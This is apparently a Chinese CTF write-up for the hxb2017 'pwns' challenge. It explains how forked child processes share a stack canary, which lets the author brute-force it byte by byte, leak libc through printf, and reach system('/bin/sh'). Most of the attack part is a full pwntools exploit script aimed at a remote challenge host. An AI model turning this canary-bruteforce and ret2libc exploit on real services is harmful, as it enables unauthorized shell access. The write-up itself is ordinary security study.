hxb2017 pwns canary bruteforce

2019-10-31 本文已影响0人 v1gor

利用fork的子程序保持canary不变的特性来逐字节爆破canary

流程概述

本题主要流程是：

询问是否输入数据，选择N直接退出，选择Y将fork出一个子进程进行下列工作
将你的输入作为base64编码的字符串进行解码，输入的主要限制就是得是base64编码过的字串
将输入的已编码字串拷贝到栈上一个局部变量buf中，进行解码，解码后的值就存在buf里
用printf("%s\n")打印出解码后buf中的值

漏洞分析

在拷贝到buf的过程中，由于拷贝长度远大于buf相对ebp的偏移，因此存在栈溢出

但是这题开了canary保护，每次失败后父进程将会fork出子进程来进行下一次询问，因为fork出的子进程使用相同的canary，考虑逐字节爆破canary.

为什么fork出的子进程canary会相同呢？看下检查canary的函数：

canary.png

ecx中存储的就是canary，看到是从gs段的某个偏移处取出的，最近在学操作系统所以对这个全局段寄存器比较脸熟，在windows下，gs存储TIB，PEB之类的进程数据，但是linux中不清楚是怎么样的，从canary不变的事实推测，所有的子进程和父进程是使用同一个gs寄存器的.

关于gs的资料，参考的是 https://bbs.pediy.com/thread-145559.htm

实现攻击

定位canary

用如下脚本可快速定位覆盖本体canary需要的输入长度：

from pwn import *
import base64
io =  process("./pwns")
for i in range(0x100,0x118):
    print io.recvuntil("[Y/N]")
    io.sendline("Y")
    io.sendline(base64.b64encode("a"*i))
    if "smash" in io.recvuntil("May"):
        print "smash detected:",I
        break
    else:
        print I

运行结果：

leakpoint.png

可知输入长度为258字节的时候发生了canary覆盖，因此可以先输入257个"a"，再输入一个字符覆盖canary最高字节，如果覆盖正确则程序会正常返回，输出"Finish"；如果错误则本地程序会报错“smash”，远程则表现为不输出Finish.

按上述分析可逐字节爆破canary，之后可以进行栈溢出.

泄露libc实际地址

在栈上发现了一个__libc_start_main附近的地址，由于canary检测之前就调用了printf来打印解码后的字符串，因此可以轻松泄露栈上任意高于buf地址的栈中的值.

爆破canary

这一题由于printf的存在，我们不需要爆破4字节的canary，因为最高字节如果不是"\x00"，那么将printf("%s\n")将会泄露接下来的三个字节的canary，因此只需要爆破一个字节即可.

那为啥不直接一次泄露4字节呢，这个我一开始就试过，直接输入257个"a"的话一般不会泄露出整个canary，一开始我也很不解，但是调试过程中发现canary的最高字节一般都是"\x00"（这是什么原理emmmmm）所以这个脚本写起来就很简单了.

遇到的问题

这题遇到的问题是一开始想用pwntools.process的env参数修改LD_PRELOAD的值来直接加载提供的libc，但是不管是我这里(deepin x64)还是队友(ubuntu 32bit)，都无法正常运行，报错错误码-11，原因不明.
由于我是64位的debian，一开始本地调试的时候用64位的libc调了半天都过不了(真是zz)，这里记录一下，64位机为了兼容32位程序，都存有64位的libc和32位的libc，以后调试32位带libc的程序计算偏移时，应该选取32位的libc，具体libc存放的具体位置是：
```
  32位： /lib/i386-linux-gnu/libc.so.6
  64位： /lib/x86_64-linux-gnu/libc.so.6
```

脚本

#encoding=utf8
from pwn import *
import base64
#io = process("./pwns",env={'LD_PRELOAD':'./libc.so.6'})
#io = process("./pwns")
io = remote("118.190.77.161",10080)
libc = ELF("./libc.so.6")
c = 0
#泄露libc实际地址
print "1:",repr(io.recvuntil("data[Y/N]\n"))
io.sendline("Y")
print "2:",repr(io.recvuntil("datas:\n\n"))
payload = base64.b64encode("a"*257+"b"*4+19 * 4 * "a")
io.sendline(payload)
data = io.recvuntil("\n")
print repr(data)
libc_main_F6 = int(data[::-1][2:6].encode("hex"),16)
libc_main = libc_main_F6 - 0xf6

#计算system，binsh实际地址
main_offset = libc.symbols["__libc_start_main"]
print "[+]main_offset:",hex(main_offset)
ret_addr = 0x6569f - main_offset + libc_main
system_offset = libc.symbols["system"]
print "[+]system_offset:",hex(system_offset)

system_addr = libc_main + system_offset - main_offset
bin_sh_offset =0x15CDC8 #0x00162CEC#
bin_sh_addr = bin_sh_offset - system_offset + system_addr

print "[+]leak addr:",hex(libc_main)
print "[+]system addr:",hex(system_addr)
print "[+]binsh addr",hex(bin_sh_addr)

#爆破canary
canary = ""
io.recv()
io.sendline("Y")
io.recvuntil("datas:")
io.recv(timeout = 1)
payload = base64.b64encode("A"*257+"a")
io.send(payload)
content = io.recvuntil("data[Y/N]")
io.recv(timeout = 1)
print "content is:",repr(content)
canary = content[257+11:257+14]


for c1 in range(0,0xff):
    io.sendline("Y")
    io.recvuntil("datas:")
    io.recv(timeout = 1)
    payload = base64.b64encode("A"*257+chr(c1))
    print "payload:",payload
    io.send(payload)
    content = io.recvuntil("data[Y/N]")
    io.recv(timeout = 1)
    print "content is:",repr(content)
    canary = chr(c1) +  canary 
    if "Finish" in content:
        print "[!]canary is:",canary.encode("hex")
        break
    else:
        print "[-]"+canary.encode("hex")+" not right"

payload =base64.b64encode("a" * 257 + canary + "b"*4*3 + p32(system_addr)+ "x"*4+ p32(bin_sh_addr))
io.sendline("Y")
io.sendline(payload)
io.interactive()